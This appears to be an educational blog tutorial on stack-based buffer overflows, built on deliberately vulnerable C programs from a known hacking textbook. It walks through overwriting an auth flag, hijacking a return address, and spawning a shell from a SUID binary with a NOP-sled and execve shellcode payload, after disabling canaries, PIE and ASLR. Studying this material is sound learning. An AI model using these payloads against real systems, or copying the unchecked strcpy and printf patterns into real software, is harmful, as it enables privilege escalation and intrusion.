Stack-based buffer overflows


What’s a buffer overflow?

Buffer overflows are a type of vulnerability where the attacker gives more data to a buffer than it can handle. As a result, the program overwrites adjacent memory locations with the exceeding data. Usually, the program will crash. However, a skilled hacker can take control of the program as it crashes and achieve incredible things, like access to a shell. Nowadays, there are some countermeasures in place. They make it much harder but not impossible. Especially if using languages like C or C++, that lets developers manage the memory.

There are two types of buffer overflows: stack-based and heap-based. In this post, we will talk about the first type.

What’s the stack?

Before jumping right into stack-based buffer overflows, we need to understand what a “stack” is in this context and how it works.

The stack is a region of memory reserved for each thread to store data. Each time you call a function, a stack frame is created where the arguments, the local variables and the return address are stored in a Last Input First Output (LIFO) manner. Once it finishes, the program “removes” the stack frame from the stack and resumes the execution of the caller thanks to the return address. Now, on the top of the stack, we have the stack frame from the resumed function. The program is ready to go.

Stack example:

Great! We understand the basis of how the stack works at a high level. However, we still need to know the low-level details of that process if we want to exploit it. So, what’s actually happening? How does the computer know which instruction to execute? How does the computer know how to resume the execution of the caller function? How does it create and remove the stack frame? That’s all due to registers. The CPU of a computer use different registers to store data, transfer data, store instructions, … We are interested in the Extended Instruction Pointer (EIP), which stores the memory address of the next instruction to execute; the Extended Stack Pointer (ESP), which points to the top of the stack frame; and the Extended Base Pointer (EBP), which points to the bottom of the stack frame. Whenever we call a function, the EBP will store the actual ESP. The end of the caller function stack frame is the beginning of the called function stack frame. Pushing data to the stack will increase the ESP. The EIP will point to the next instruction to execute. Once we reach the return statement, the ESP will be equal to EBP (removing the stack frame) and the EIP will be equal to the return address. The process is much more complex than that. For instance, I’m not explaining how the EBP is restored. I encourage you to do some further research about the topic. I don’t think we need more for that post.

We should have a clear idea of how stack frames work and some lower details. We are ready to exploit some programs.

How to exploit stack based buffer overflows

Relevant system information:

  • Linux 5.15.0-86-generic x86_64
  • Intel(R) Core(TM) i7-10510U CPU
  • Little Endian
  • 48 bits address size

All the vulnerable programs are from Hacking: The Art of Exploitation, 2nd Edition. They may contain modification to use in modern machines. You can get the original source code https://github.com/intere/hacking/blob/master/booksrc.

Overwrite local variable in stack frame

Let’s start with the auth_overflow.c.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
  int auth_flag = 0;
  char password_buffer[16];

  strcpy(password_buffer, password);

  if(strcmp(password_buffer, "brillig") == 0)
    auth_flag = 1;
  if(strcmp(password_buffer, "outgrabe") == 0)
    auth_flag = 1;

  return auth_flag;
}

int main(int argc, char *argv[]) {
  if(argc < 2) {
    printf("Usage: %s <password>\n", argv[0]);
    exit(0);
  }
  if(check_authentication(argv[1])) {
    printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf("      Access Granted.\n");
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  } else {
    printf("\nAccess Denied.\n");
  }
}

The program is simple. It receives a password. If it’s equal to “brillig” or “outgrabe” we will see the message “Access Granted”, otherwise, we will see “Access Denied”. With a buffer overflow, we can get the “Access Granted” message even when the password is invalid.

The error is inside the check_authentication function, which copies the password data to the password_buffer without checking the length. Notice that the password_buffer can hold a maximum of 16 bytes. In other words, the program will reserve 16 bytes in the stack for that variable. Nevertheless, the data behind the password pointer can hold a larger array of characters. The idea here is to give the program a password longer than 16 bytes so that when the data is copied into the password_buffer, the extra bytes overwrite the auth_flag. That’s the boolean that decides the message to be shown. If we can control it, we can control the printed message. Remember that the stack frame is a LIFO. Hence, the password_buffer will be on top of the auth_flag.

Let’s compile the program and execute it with a bigger password than expected.

gcc auth_overflow.c -o auth_overflow
./auth_overflow "password"

I’ve tried with several lengths. With 25 characters, the program fails.

There’s something curious, though. The function variables only take 20 bytes, 16 for the password_buffer and 4 for the auth_flag, but we need 25 bytes to make it fail. I did some research, and it seems like it could be related to some padding that the compiler or the system is adding between variables. In any case, the program is failing with “stack smashing”. That tells us that the compiler detected the buffer overflow attack and stoped the execution. Current versions of GCC use “canaries” to detect buffer overflows. It adds some data in the stack frame at the beginning of the function and expects that it remains unchanged when exiting it. Let’s disable that for our learning.

gcc auth_overflow.c -o auth_overflow -fno-stack-protector

With canaries disabled, let’s see how many bytes are between the password_buffer and the auth_flag. That will tell us the password length needed to overwrite the auth_flag. For that, we can use gdb. It’s only a matter of placing a breakpoint inside the vulnerable function and checking the memory addresses.

gcc auth_overflow.c -o auth_overflow -fno-stack-protector -g # -g option adds debug symbols
gdb ./auth_overflow

There are 28 bytes between the two variables. That means that we need a password with 29 characters. The first 28 to fill the space between the variables, and the last one to overwrite the auth_flag. We need it to be different to 0. For example, “a” should overwrite the auth_flag value with its ASCII decimal value (97). We can see that in action by placing a couple of breakpoints. One before the strcpy and one after.

That’s it! We got the “Access Granted” message.

Overwrite return address

The first example is limited, right? We can do something interesting only if the variable we want to overwrite is stored in the stack before the one we are using to exploit it. What could we do if the variable is not there or appears after? The idea in that situation is to overwrite the return address.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
  char password_buffer[16];

  strcpy(password_buffer, password);

  int auth_flag = 0;
  if(strcmp(password_buffer, "brillig") == 0)
    auth_flag = 1;
  if(strcmp(password_buffer, "outgrabe") == 0)
    auth_flag = 1;

  return auth_flag;
}

int main(int argc, char *argv[]) {
  if(argc < 2) {
    printf("Usage: %s <password>\n", argv[0]);
    exit(0);
  }
  if(check_authentication(argv[1])) {
    printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
    printf("      Access Granted.\n");
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  } else {
    printf("\nAccess Denied.\n");
  }
}

First, compile it without security protections and debug symbols. Here we added the no-pie option. PIE stands for Position Independent Executable. If enabled, the executable will be loaded in a different memory address every time.

gcc auth_overflow2.c -o auth_overflow2 -fno-stack-protector -no-pie -g

Now, where is the return address? How can we overwrite it? As in the first example, gdb is our friend. We can put a breakpoint inside check_authentication, run and execute info frame. The rip register contains the return address.

At this point, it’s a matter of trying several passwords until we find the number of bytes till the rip register. Same procedure as in the first example. Writing a password with 40 “a” and 3 “b” will overwrite the rip with the ASCII value of “bbb” (0x626262).

That’s cool, but we want to overwrite the rip to change the code flow and show us the “Access Granted” message. We can disassemble the main function to see where the print functions are and get the memory address for the first print. The +86 memory address points to the conditional before the prints. We can take the next address. If PIE was enabled, this wouldn’t be that easy. The address would change every time we run it.

Replacing “bbb” with “7f1240” gives us the “Access Granted” message. We add the memory address in reverse because my machine uses Little Endian.

Get shell

The second example was a bit more interesting, but still limited. In this final example, we are going to see how to get access to a shell.

We have two small programs. The first program creates notes in “/var/notes”. root must own the executable and have the SUID activated. That way, we can execute it with normal users as if it was root.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

void usage(char *prog_name, char *filename)
{
  printf("Usage: %s <data to add to %s>\n", prog_name, filename);
  exit(0);
}

void fatal(char *);            // A function for fatal errors
void *ec_malloc(unsigned int); // An error-checked malloc() wrapper

int main(int argc, char *argv[])
{
  int userid, fd; // File descriptor
  char *buffer, *datafile;

  buffer = (char *)ec_malloc(100);
  datafile = (char *)ec_malloc(20);
  strcpy(datafile, "/var/notes");

  if (argc < 2)                 // If there aren't command-line arguments,
    usage(argv[0], datafile); // display usage message and exit.

  strcpy(buffer, argv[1]); // Copy into buffer.

  printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
  printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

  // Opening the file
  fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
  if (fd == -1)
    fatal("in main() while opening file");
  printf("[DEBUG] file descriptor is %d\n", fd);

  userid = getuid(); // Get the real user ID.

  // Writing data
  if (write(fd, &userid, 4) == -1) // Write user ID before note data.
    fatal("in main() while writing userid to file");
  write(fd, "\n", 1);                          // Terminate line.
  if (write(fd, buffer, strlen(buffer)) == -1) // Write note.
    fatal("in main() while writing buffer to file");

  write(fd, "\n", 1); // Terminate line.
  // Closing file
  if (close(fd) == -1)
    fatal("in main() while closing file");
  printf("Note has been saved.\n");
  free(buffer);
  free(datafile);
}
gcc notetaker.c -o notetaker -g
sudo chown root:root notetaker
sudo chmod u+s notetaker
./notetaker "example message"

The second program, the vulnerable one, is used to search notes for the current user. Optionally, we can show only the messages that contain a specific string.

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include "hacking.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); // Note printing function.
int find_user_note(int, int);      // Seek in file for a note for user.
int search_note(char *, char *);   // Search for keyword function.
void fatal(char *);                // Fatal error handler

int main(int argc, char *argv[])
{
  int userid, printing = 1, fd; // File descriptor
  char searchstring[100];
  if (argc > 1)                      // If there is an arg,
    strcpy(searchstring, argv[1]); // that is the search string;
  else                               // otherwise,
    searchstring[0] = 0;           // search string is empty.
  userid = getuid();
  fd = open(FILENAME, O_RDONLY); // Open the file for read-only access.
  if (fd == -1)
    fatal("in main() while opening file for reading");
  printf("%i", printing);
  while (printing)
    printing = print_notes(fd, userid, searchstring);
  printf("-------[ end of note data ]-------\n");
  close(fd);
}

// A function to print the notes for a given uid that match
// an optional search string;
// returns 0 at end of file, 1 if there are still more notes.
int print_notes(int fd, int uid, char *searchstring)
{
  int note_length;
  char byte = 0, note_buffer[100];
  note_length = find_user_note(fd, uid);
  if (note_length == -1)                      // If end of file reached,
    return 0;                               // return 0.
  read(fd, note_buffer, note_length);         // Read note data.
  note_buffer[note_length] = 0;               // Terminate the string.
  if (search_note(note_buffer, searchstring)) // If searchstring found,
    printf(note_buffer);                    // print the note.
  return 1;
}

// A function to find the next note for a given userID;
// returns -1 if the end of the file is reached;
// otherwise, it returns the length of the found note.
int find_user_note(int fd, int user_uid)
{
  int note_uid = -1;
  unsigned char byte;
  int length;
  while (note_uid != user_uid)
    {                                                        // Loop until a note for user_uid is found.
      if (read(fd, &note_uid, 4) != 4) // Read the uid data.
        return -1;                                       // If 4 bytes aren't read, return end of file code.
      if (read(fd, &byte, 1) != 1)                         // Read the newline separator.
        return -1;
      byte = length = 0;
      while (byte != '\n')
        {                                // Figure out how many bytes to the end of line.
          if (read(fd, &byte, 1) != 1) // Read a single byte.
            return -1;               // If byte isn't read, return end of file code.
          length++;
        }
    }
  lseek(fd, length * -1, SEEK_CUR); // Rewind file reading by length bytes.
  printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);
  return length;
}

// A function to search a note for a given keyword;
// returns 1 if a match is found, 0 if there is no match.
int search_note(char *note, char *keyword)
{
  int i, keyword_length, match = 0;
  keyword_length = strlen(keyword);
  if (keyword_length == 0) // If there is no search string,
    return 1;            // always "match".
  for (i = 0; i < strlen(note); i++)
    {                                  // Iterate over bytes in note.
      if (note[i] == keyword[match]) // If byte matches keyword,
        match++;                   // get ready to check the next byte;
      else
        {                              // otherwise,
          if (note[i] == keyword[0]) // if that byte matches first keyword byte,
            match = 1;             // start the match count at 1.
          else
            match = 0; // Otherwise it is zero.
        }
      if (match == keyword_length) // If there is a full match,
        return 1;                // return matched.
    }
  return 0; // Return not matched.
}
gcc notesearch.c -o notesearch -fno-stack-protector -no-pie -g
sudo chown root:root notesearch
sudo chmod u+s notesearch
./notesearch "example"

We need to disable the Adress Space Layout Randomization (ASLR) to avoid random memory addreses.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

You may be wondering if ASLR and PIE do the same. Both disable the randomization of memory addresses for executables. That’s true. However, they randomize different things. ASLR is a kernel protection feature, and it has three levels in Linux:

  1. Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter (in Linux).
  2. Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.
  3. Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.

PIE is a binary protection feature that places the “code segment”, the “global offset table” and their “procedure linkage table” at random locations.

The last security protection we need to disable is the NX bit. That will make the stack executable. In other words, we will be able to execute the shellcode.

Let’s take a step back. Where is the vulnerability? The notetaker main function calls strcpy. Again, there’s no control over the length of the copied data. The high-level idea is the same as in the last exercise. We want to overwrite the return address to take control of the flow. The way to find it is the same. However, the payload is structured differently. We aren’t going to send a bunch of “a” followed by a memory address in the executable. We want to build a payload that looks like: “NOP sled, shellcode, some more NOP operations, NOP sled address”. Let me explain each part.

First, we have the “NOP sled”. A NOP is a no-operation instruction that CPUs include for timing purposes, among other things. In our case, we use them to force the computer to slide into the shellcode we introduced in the stack. Theoretically, you could do it without the aid of a “NOP sled”, but it becomes much harder. You will have problems with memory alignment and other low-level stuff that I lack knowledge of. Moreover, the compiler is picky and won’t allow you to execute the shellcode from whatever memory address you want.

Then, we have the shellcode. A small piece of code built in assembler to execute some code. In that example, to give us access to a shell.

Following the shellcode, we find some more NOP operations. Sometimes, shellcodes need to write some bytes after themselves. The compiler can complain about that. These NOP operations will help us.

The last part is the return address. We will overwrite it with a memory address where the NOP sled is located.

That’s it for the structure. Coming back to the exploit, on my first try I used a “NOP sled, shellcode, NOP sled address” structure. It didn’t work for multiple reasons. NX bit wasn’t disabled and ASLR wasn’t disabled.

After disabling them, the issue was creating the correct payload. Sometimes, the execution failed with a SEGFAULT and sometimes with a SIGILL. Trying a myriad of different payload structures and lengths for the NOP operations, I finally crafted a payload that worked using gdb.

This payload doesn’t work outside gdb. The environment in which we execute the exploit can modify the position of the variables in the stack. For example, the environment variables used on gdb differ from the ones on the shell. To circumvent that issue, we can pass the environment variables to gdb.

env gdb notesearch

The path from where you execute the exploit is also relevant. ./notesearch $(perl -e 'print "\x90" x 57, "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05", "\x90" x 40, "\x90\xe3\xff\xff\xff\x7f\x00\x00"') didn’t work for me, while ~/Desktop/overflow/notesearch $(perl -e 'print "\x90" x 57, "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05", "\x90" x 40, "\x90\xe3\xff\xff\xff\x7f\x00\x00"') worked.

That’s it!!! We got our shell. In theory, we should get root access due to the SUID permissions. However, some shells now throw SUID permissions when spawning new shells from a process with SUID to avoid this kind of attacks. More stuff to learn in the future!

How can we prevent buffer overflows?

DON’T COPY DATA WITHOUT CHECKING THE LENGTH!

Most people forget to do that, so luckily, there are some security features that mitigate the attack. We have seen a some of them during the exercise: canaries, PIE, ASLR or NX bit.

Conclusion

Now we know what a stack based buffer overflow is, why it works, how to exploit it and some protections mechanisms. We don’t have an execuse to avoid them.